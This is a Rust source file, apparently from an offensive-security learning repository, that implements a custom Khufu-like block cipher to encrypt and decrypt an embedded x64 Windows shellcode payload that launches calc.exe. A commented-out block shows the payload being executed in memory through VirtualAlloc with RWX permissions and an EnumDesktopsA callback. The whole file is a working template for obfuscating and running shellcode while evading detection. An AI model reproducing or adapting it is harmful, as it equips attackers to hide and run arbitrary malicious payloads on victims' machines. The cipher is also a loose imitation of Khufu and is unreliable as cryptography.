/*
    Khufu Encryption
    Source: cocomelonc

    Author: @5mukx
*/

// use std::time::{SystemTime, UNIX_EPOCH};// wtf is UNIX_EPOCH
// use std::ptr;
// use winapi::ctypes::c_void;
// use winapi::um::memoryapi::VirtualAlloc;
// use winapi::um::winnt::{RtlMoveMemory, MEM_COMMIT, PAGE_EXECUTE_READWRITE};
// use winapi::um::winuser::{EnumDesktopsA, GetProcessWindowStation};

const ROUNDS: usize = 16;
const BLOCK_SIZE: usize = 8;
const KEY_SIZE: usize = 64;

fn fisher_yates_shuffle(sbox: &mut [u8]) {
    let mut rng = rand::thread_rng();
    for i in (1..sbox.len()).rev() {
        let j = rand::Rng::gen_range(&mut rng, 0..=i);
        sbox.swap(i, j);
    }
}

fn khufu_generate_key() -> [u8; KEY_SIZE]{
    let mut key: [u8; KEY_SIZE] = [0; KEY_SIZE];

    for(i, elem) in key.iter_mut().enumerate(){
        *elem = i as u8;
    }

    fisher_yates_shuffle(&mut key);
    key
}

fn khufu_generate_sbox(key: &[u8], round: usize) -> [u32; 256] {
    let mut sbox = [0u32; 256];
    for i in 0..256 {
        sbox[i] = ((key[(round * 8 + i) % KEY_SIZE] as u32) << 24)
            | ((key[(round * 8 + i + 1) % KEY_SIZE] as u32) << 16)
            | ((key[(round * 8 + i + 2) % KEY_SIZE] as u32) << 8)
            | (key[(round * 8 + i + 3) % KEY_SIZE] as u32);
    }
    sbox
}

fn khufu_encrypt(block: &mut [u8], key: &[u8]) {
    let mut left = u32::from_be_bytes(block[0..4].try_into().unwrap());
    let mut right = u32::from_be_bytes(block[4..8].try_into().unwrap());

    left ^= u32::from_be_bytes(key[0..4].try_into().unwrap());
    right ^= u32::from_be_bytes(key[4..8].try_into().unwrap());

    for round in 0..ROUNDS {
        let sbox = khufu_generate_sbox(key, round);
        let temp = left;
        left = right ^ sbox[(left & 0xFF) as usize];
        right = (temp >> 8) | (temp << 24);
        std::mem::swap(&mut left, &mut right);
    }

    left ^= u32::from_be_bytes(key[8..12].try_into().unwrap());
    right ^= u32::from_be_bytes(key[12..16].try_into().unwrap());

    block[..4].copy_from_slice(&left.to_be_bytes());
    block[4..].copy_from_slice(&right.to_be_bytes());
}


// for decryption function store the encrypted block and the Random Key Generated.
fn khufu_decrypt(block: &mut [u8], key: &[u8]){
    let mut left = u32::from_be_bytes(block[0..4].try_into().unwrap());
    let mut right = u32::from_be_bytes(block[4..8].try_into().unwrap());

    left ^= u32::from_be_bytes(key[8..12].try_into().unwrap());
    right ^= u32::from_be_bytes(key[12..16].try_into().unwrap());

    for round in (0..ROUNDS).rev() {
        let sbox = khufu_generate_sbox(key, round);
        let temp = right;
        right = left ^ sbox[(right & 0xFF) as usize];
        left = (temp << 8) | (temp >> 24);
        std::mem::swap(&mut left, &mut right);
    }

    left ^= u32::from_be_bytes(key[0..4].try_into().unwrap());
    right ^= u32::from_be_bytes(key[4..8].try_into().unwrap());

    block[..4].copy_from_slice(&left.to_be_bytes());
    block[4..].copy_from_slice(&right.to_be_bytes());
}

fn main() {
    let key = khufu_generate_key();

    // For Decryption Store the key !
    println!("let key: [u8; 64] = [");
    
    for chunk in key.chunks(8){
        for byte in chunk{
            print!("{:02x} ", byte);
        }
        println!();
    }
    println!("];");

    let mut payload = vec![
        0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
        0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
        0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,
        0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
        0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48,
        0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
        0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,
        0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
        0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c,
        0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
        0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04,
        0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
        0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48,
        0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f,
        0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
        0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,
        0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
        0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
    ];


    let pad_len = payload.len() + (8 - payload.len() % 8) % 8;
    payload.resize(pad_len, 0x90);

    println!("Original Shellcode: {:?}", payload);
    println!();

    for block in payload.chunks_exact_mut(BLOCK_SIZE) {
        khufu_encrypt(block, &key);
    }

    println!("Encrypt Shellcode: {:?}", payload);
    println!();

    for block in payload.chunks_exact_mut(BLOCK_SIZE) {
        khufu_decrypt(block, &key);
    }

    println!("Decrypt shellcode: {:?}", payload);
    println!();

    // simple executing method used for testing... please dont use this at production
    /*
    unsafe{
        let mem = VirtualAlloc(
            ptr::null_mut(),
            payload.len(),
            MEM_COMMIT,
            PAGE_EXECUTE_READWRITE,
        );    
        
        RtlMoveMemory(
            mem, 
            payload.as_ptr() as *const c_void, 
            payload.len()
        );
    
        EnumDesktopsA(
            GetProcessWindowStation(),
            std::mem::transmute(mem), 
            0
        );
    }
     */

}
